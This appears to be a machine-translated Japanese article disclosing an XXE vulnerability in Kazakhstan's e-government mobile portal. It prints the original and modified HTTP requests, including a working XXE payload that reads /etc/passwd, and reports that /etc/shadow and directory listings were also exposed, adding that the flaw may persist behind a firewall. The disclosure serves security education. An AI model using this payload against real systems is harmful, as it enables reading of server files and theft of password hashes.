カザフスタンの電子政府の古い穴

免責事項!

この記事に記載されている脆弱性は修正されており、危険はありません。 この出版物は、読者を教育し、情報セキュリティの問題の重要性を示すために書かれました。 説明された脆弱性はE-GOVに数年間存在し、カザフスタンの電子政府のユーザーのパスワードへのアクセスを許可しました。
最近、egov.kzは、カザフスタン共和国の電子政府ポータルの重大な脆弱性を閉じました。 バグはすでにクローズされており、その開示はもはや脅威ではないため、技術的および学術的な観点から、このケースは研究者にとって非常に興味深いものであるため、バグを議論することにしました。 別の重要なポイント:特定のサークルでは、このようなエラー、特にこのエラーは非常に長い間知られており、それらの存在は責任者の能力のレベルまで多くの質問を引き起こします。



プロキシを介して常にWebサービスを使用してデータの交換を制御するユーザーは、egov.kz Webサイトのモバイルバージョンでサーバーに送信されるXML形式の要求に気付く可能性があります。 多くの研究者は、エンティティをクエリにロードしようとしたか、簡単に言えばXXEタイプの攻撃を実行しようとしました。



クエリは次のようになりました。



POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1 Host: m.egov.kz X-Egov-Mobile-Sso:************************************ Content-Type:application/json code:******************************************** Content-Type: application/json;charset=UTF-8 Content-Length: 926 {"iin":"************","msisdn":"***********","requestXml":"%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.org%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.bee.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%3C%2fiin%3E%3Cphone%3E***********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3CdateOfInstallation%3E2016-06-23%3C%2fdateOfInstallation%3E%3CappId%***** ************************************************** ************************************************** *************************************%3C%2fappId%3E%3 Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EANDROID%3C %2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion %3E%3CsmsChannel%3Etrue%3C%2fsmsChannel%3E%3CpushChannel %3Etrue%3C%2fpushChannel%3E%3C%2fdeviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}
      
      





変更後、次のようになりました。



 POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1 Host: m.egov.kz X-Egov-Mobile-Sso:************************************ Content-Type:application/json code:******************************************** Content-Type: application/json;charset=UTF-8 Content-Length: 926 {"iin":"************","msisdn":"***********","requestXml":"%3C%21DOCTYPE%20foo%20%5B %3C%21ENTITY%20xxe%20SYSTEM%20%5C%22file%3A%2f%2f%2fetc%2fpasswd%5C%22%3E% 20%5D%3E%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.or g%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.be e.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%26xxe%3B%3C%2fiin%3E%3Cphone% 3E7**********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3 CdateOfInstallation%3E2016-**-**%3C%2fdateOfInstallation%3E%3CappId%******************************************** ********************************************************************************* *****************%3C%2fappId%3E%3Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EAN DROID%3C%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion%3E%3CsmsChannel %3Etrue%3C%2fsmsChannel%3E%3CpushChannel%3Etrue%3C%2fpushChannel%3E%3C%2f deviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}
      
      





明確にするために、リクエストを読みやすい形式で表示します(追加されたデータは強調表示されます)。



 <b><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]></b><ns3:updateRequest xmlns:ns2=\"http://www.w3.org/2000/09/xmldsig#\" xmlns:ns3=\"http://mgov.bee.kz/mbc/v6\"><iin>************<b>&xxe </b>;</iin><phone>***********</phone><otpCode>000</otpCode><deviceInfo><dateOfInstallation>2016-**-**</dateOfInstallation> <appId>************************************************************* ********************************************************************* **********</appId><imei></imei><operatingSystem>ANDROID</operatingSystem> <osVersion>5.1.1</osVersion><smsChannel>true</smsChannel> <pushChannel>true</pushChannel></deviceInfo></ns3:updateRequest>
      
      





ご覧のとおり、ファイル/ etc / passwdが要求されましたが、驚いたことに、研究者は応答としてそのコンテンツを受け取りました(スクリーンショットが添付されています)。







平易な言葉で説明すると、この脆弱性は/ etc / passwdファイルを含むローカルサーバーファイルの読み取りを許可します。 この脆弱性により、ファイルの読み取りに加えて、ディレクトリのコンテンツの表示が許可されました(スクリーンショットも添付されています)。







特に才能のある研究者は、スクリプトを使用してこの脆弱性を簡単に処理しました。







研究者の言葉では言い表せない驚きは、/ etc / shadowファイルを読むことができることでした。ファイルには、通常は特権ユーザーのみがアクセスできるユーザーパスワードハッシュが含まれています。







これはすべて、サービスが最大限の特権で動作することを示唆しています。これは非常に悪いことです。



しかし、良いニュースがあります:議論された脆弱性は最終的に閉じられました(まあ、どれだけ閉じられたか、WAFを置くだけですべてをブロックします)。 そのため、サーバーデータ、およびカザフスタン市民のデータは、まだ漏洩していない場合、よりゆっくりとインターネットに漏洩しています。



PS:バグはそれほど修正されておらず、関連性はありますが、ファイアウォールの背後に残っています



All Articles